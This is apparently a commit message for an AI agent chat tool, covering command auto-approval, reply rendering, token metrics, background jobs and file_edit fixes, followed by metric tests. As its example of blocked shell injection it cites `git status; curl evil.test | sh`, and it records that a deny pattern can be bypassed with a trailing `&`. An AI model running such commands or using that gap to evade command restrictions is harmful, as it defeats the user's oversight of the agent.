A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

tests/test_metrics.py

@@ -450,3 +450,97 @@ def test_no_context_length_means_no_percentage(client: TestClient, db, registere
     page = client.get(f"/chat/{chat_id}").text
     assert "120 tokens" in page
     assert "metric--context" not in page
+
+
+# --- Counted, estimated, and the gap between them -----------------------------
+def _live(**fields):
+    """A Generation with just the fields the metrics read."""
+    from lembas.services import generation as generation_service
+
+    generation = generation_service.Generation(chat_id="c", message_id="m")
+    for key, value in fields.items():
+        setattr(generation, key, value)
+    return generation
+
+
+def test_a_reported_count_is_shown_verbatim():
+    """Ours is four characters to a token. Overriding a number the endpoint
+    actually counted with that would be a downgrade dressed as a fix."""
+    generation = _live(
+        reported_usage=True,
+        prompt_tokens=120,
+        completion_tokens=8,
+        content=["Waybread."],
+        counted_chars=len("Waybread."),
+    )
+
+    got = metrics.from_generation(generation)
+
+    assert got.prompt_tokens == 120
+    assert got.completion_tokens == 8
+    assert got.estimated is False
+
+
+def test_the_counts_keep_moving_between_usage_chunks():
+    """Usage arrives once per round, so on a long agent reply the reported
+    figures used to stand still for minutes while text streamed underneath
+    them -- `reported or estimate` never reaches its fallback again once the
+    first chunk has landed. Only what has been written since the last count is
+    estimated."""
+    generation = _live(
+        reported_usage=True,
+        prompt_tokens=100,
+        completion_tokens=10,
+        context_tokens=110,
+        content=["x" * 40],
+        counted_chars=0,
+    )
+
+    got = metrics.from_generation(generation)
+
+    assert got.completion_tokens == 20, "10 counted plus 40 characters of new text"
+    assert got.context_tokens == 120
+
+
+def test_the_interpolation_is_zero_the_moment_a_count_lands():
+    """Which is what makes the figure land exactly on the reported total at the
+    end of a round rather than drifting a little past it every time."""
+    generation = _live(
+        reported_usage=True,
+        completion_tokens=10,
+        content=["x" * 40],
+        counted_chars=40,
+    )
+
+    assert metrics.from_generation(generation).completion_tokens == 10
+
+
+def test_a_reply_nobody_counted_still_says_so_once_it_is_stored():
+    """`estimated` was inferred from "are both counts non-zero?", and the
+    end-of-reply fallback made that true of a reply nobody had counted. So the
+    tilde showed all the way through and then vanished at the moment the numbers
+    were written down, which is where it mattered most."""
+    generation = _live(content=["Waybread."], prompt_estimate_total=30)
+
+    got = metrics.from_generation(generation)
+
+    assert got.estimated is True
+    assert got.prompt_tokens == 30
+    assert got.completion_tokens > 0
+
+
+def test_the_prompt_does_not_jump_when_the_reply_ends():
+    """It read the latest round's estimate live and the sum of every round's
+    when stored, so a reply that called a tool visibly changed number at the
+    `done` frame. Both are the sum now."""
+    generation = _live(prompt_estimate=400, prompt_estimate_total=1000)
+
+    assert metrics.from_generation(generation).prompt_tokens == 1000
+
+
+def test_estimate_chars_does_not_invent_a_token_out_of_nothing():
+    """`estimate` floors at one token for any non-empty string, which is right
+    for a piece of text and wrong for a difference between two lengths."""
+    assert tokens.estimate_chars(0) == 0
+    assert tokens.estimate_chars(-5) == 0
+    assert tokens.estimate_chars(4) == 1